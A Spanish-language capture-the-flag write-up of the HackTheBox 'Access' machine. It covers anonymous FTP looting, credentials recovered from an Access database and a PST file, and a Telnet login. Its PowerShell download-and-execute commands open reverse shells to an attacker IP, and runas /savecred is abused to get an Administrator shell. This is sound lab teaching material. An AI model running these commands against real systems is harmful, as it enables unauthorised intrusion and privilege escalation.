Access

Publicado: 18 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy
📝 Descripción
Access es una máquina Windows de dificultad fácil de HackTheBox que nos enseña la importancia de una enumeración exhaustiva y el manejo de credenciales. El vector de ataque inicial involucra el acceso a un servicio FTP anónimo que contiene archivos de backup sensibles. A través del análisis de una base de datos Microsoft Access y un archivo PST de Outlook, obtendremos credenciales válidas que nos permitirán conectarnos via Telnet. La escalada de privilegios se logra explotando credenciales guardadas en el sistema utilizando el comando runas
.
Técnicas utilizadas:
Enumeración de servicios FTP anónimos
Análisis de bases de datos Microsoft Access (.mdb)
Extracción y análisis de archivos PST de Outlook
Explotación de credenciales guardadas con runas
Reverse shells con PowerShell
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.98
PING 10.10.10.98 (10.10.10.98) 56(84) bytes of data.
64 bytes from 10.10.10.98: icmp_seq=1 ttl=127 time=50.9 ms
64 bytes from 10.10.10.98: icmp_seq=2 ttl=127 time=59.0 ms
--- 10.10.10.98 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 50.919/54.971/59.023/4.052 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🚀 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.98 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
21,23,80
🔍 Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.98 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-18 13:16 CEST
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🎯 Servicios identificados:
Puerto 21: FTP con acceso anónimo habilitado
Puerto 23: Servicio Telnet
Puerto 80: Servidor web IIS 7.5
🌐 Enumeración de Servicios
📁 Puerto 21 - FTP Anónimo
Durante la enumeración descubrimos que el servicio FTP permite autenticación anónima. Procedemos a enumerar el contenido:
ftp anonymous@10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
425 Cannot open data connection.
200 PORT command successful.
150 Opening ASCII mode data connection.
08-23-18 09:16PM <DIR> Backups
08-24-18 10:00PM <DIR> Engineer
226 Transfer complete.
🗂️ Directorio Backups
ftp> cd Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM 5652480 backup.mdb
226 Transfer complete.
ftp> get backup.mdb
🔧 Directorio Engineer
ftp> cd Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 01:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> get Access\ Control.zip
Alternativa para descarga recursiva:
wget -r --no-passive ftp://10.10.10.98/
🔐 Análisis de Archivos Descargados
Archivos obtenidos:
~/Access ❯ ls
'Access Control.zip' backup.mdb
🗃️ Análisis del archivo backup.mdb
file backup.mdb
backup.mdb: Microsoft Access Database
Utilizamos la herramienta online https://www.mdbopener.com/es.html para analizar la base de datos:

📊 Tabla auth_user encontrada:


🔑 Credenciales obtenidas:
engineer: access4u@security
backup_admin: admin
admin: 55th
🔓 Descompresión del archivo ZIP
Usamos la contraseña access4u@security
para descomprimir el archivo:
7z x Access\ Control.zip
Enter password (will not be echoed): access4u@security
Everything is Ok
Size: 271360
Compressed: 10870
📧 Análisis del archivo PST
file Access\ Control.pst
Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23)
Utilizamos https://goldfynch.com para analizar el archivo PST y encontramos:

🔐 Nueva credencial encontrada:
Usuario: security
Contraseña: 4Cc3ssC0ntr0ller
🌍 Puerto 80 - HTTP (IIS 7.5)

El sitio web no presenta vectores de ataque evidentes y el fuzzing de directorios no revela rutas interesantes.
🚀 Explotación - Acceso Inicial
📞 Conexión via Telnet
Utilizamos las credenciales encontradas para conectarnos al servicio Telnet:
telnet 10.10.10.98 23
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.
Welcome to Microsoft Telnet Service
login: security
password: 4Cc3ssC0ntr0ller
*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security
🔄 Estableciendo Reverse Shell
Preparación del payload PowerShell:
Descargamos el script de Nishang:
wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1 -O shell.ps1
Añadimos al final del script:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 443
Ejecución desde Telnet:
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/shell.ps1')"
Reverse shell establecida:
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.98] 49160
Windows PowerShell running as user security on ACCESS
PS C:\Users\security>whoami
access\security
🏁 Flag de Usuario
PS C:\Users\security\Desktop> type user.txt
[FLAG_USER_AQUÍ]
📈 Escalada de Privilegios
🔍 Enumeración del Sistema
Verificación de privilegios:
PS C:\Users\security> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
🛠️ Enumeración Automatizada con JAWS
wget https://raw.githubusercontent.com/411Hall/JAWS/refs/heads/master/jaws-enum.ps1
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/jaws-enum.ps1 -OutputFileName Jaws-Enum.txt')"
🔐 Credenciales Guardadas Encontradas

🎯 Vector de escalada identificado: Credenciales de Administrator guardadas en el sistema.
👑 Explotación con runas
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.7/shell.ps1')"
Shell de Administrator obtenida:
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.98] 49168
Windows PowerShell running as user Administrator on ACCESS
PS C:\Windows\system32>whoami
access\administrator
🎖️ Flag de Root

Last updated